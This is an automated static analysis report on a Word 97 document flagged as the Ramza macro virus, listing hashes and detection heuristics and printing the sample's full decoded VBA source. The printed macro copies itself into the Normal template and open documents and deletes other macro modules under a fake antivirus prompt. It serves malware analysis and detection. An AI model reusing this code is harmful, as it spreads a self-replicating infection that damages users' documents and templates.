Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f228581c336e4765…

MALICIOUS

Office (OLE)

31.0 KB Created: 1999-06-16 13:03:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-16
MD5: 86abe732a616d5ff985eb7739de7d0cb SHA-1: a824ba408355c752428f00b73285bc5b246b93a5 SHA-256: f228581c336e47650ac16b88d01df2b312246f42c02409738e5733933fb54d5e
208 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Ramza-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ramza-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     Normal.DeleteLines 1, Lines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2178 bytes
SHA-256: 39a59d6bbe3228add9c852bb7e3cae423bd28642a1776411a4a34e3158b4fab7
Detection
ClamAV: Doc.Trojan.Ramza-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const Azmar = "The Azmar"
Dim Normal, Active As Object
Dim Code, Macro, Nome As String
Dim Lines As Integer
Dim Contaminado As Boolean
Private Sub Document_Open()
On Error Resume Next
Set Normal = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set Active = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule

If Not Active.Find(Azmar, 1, 1, 100, 100) Then
 Macro = Normal.Lines(1, Normal.CountOfLines)
 Lines = Normal.CountOfLines
Else
 Macro = Active.Lines(1, Active.CountOfLines)
 Lines = Active.CountOfLines
End If

Open "c:\windows\scandisk.log" For Output As #1
Print #1, Macro
Close #1

If Not Normal.Find(Azmar, 1, 1, 100, 100) Then
 Normal.DeleteLines 1, Lines
 Normal.AddFromFile ("c:\windows\scandisk.log")
 NormalTemplate.Save
End If

End Sub
Private Sub Document_Close()
On Error Resume Next
Set Active = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Lines = Active.CountOfLines
If Not Active.Find(Azmar, 1, 1, 100, 100) Then
 Active.DeleteLines 1, Lines
 Active.AddFromFile ("c:\windows\scandisk.log")
 ActiveDocument.Save
End If

Contaminado = False
For Code = NormalTemplate.VBProject.VBComponents.Count To 2 Step -1
 Nome = NormalTemplate.VBProject.VBComponents(Code).Name
 MsgBox "Possível vírus! " & Nome & " pronto para remoção!", , "AntiMacro - By Pacheco"
 NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents(Code)
Next

If Contaminado Then
 NormalTemplate.Save
End If

Contaminado = False
For Code = ActiveDocument.VBProject.VBComponents.Count To 2 Step -1
 Nome = ActiveDocument.VBProject.VBComponents(Code).Name
 MsgBox "Possível vírus! " & Nome & " pronto para remoção!", , "AntiMacro - By Pacheco"
 ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents(Code)
 Contaminado = True
Next

If Contaminado Then
 ActiveDocument.Save
End If

End Sub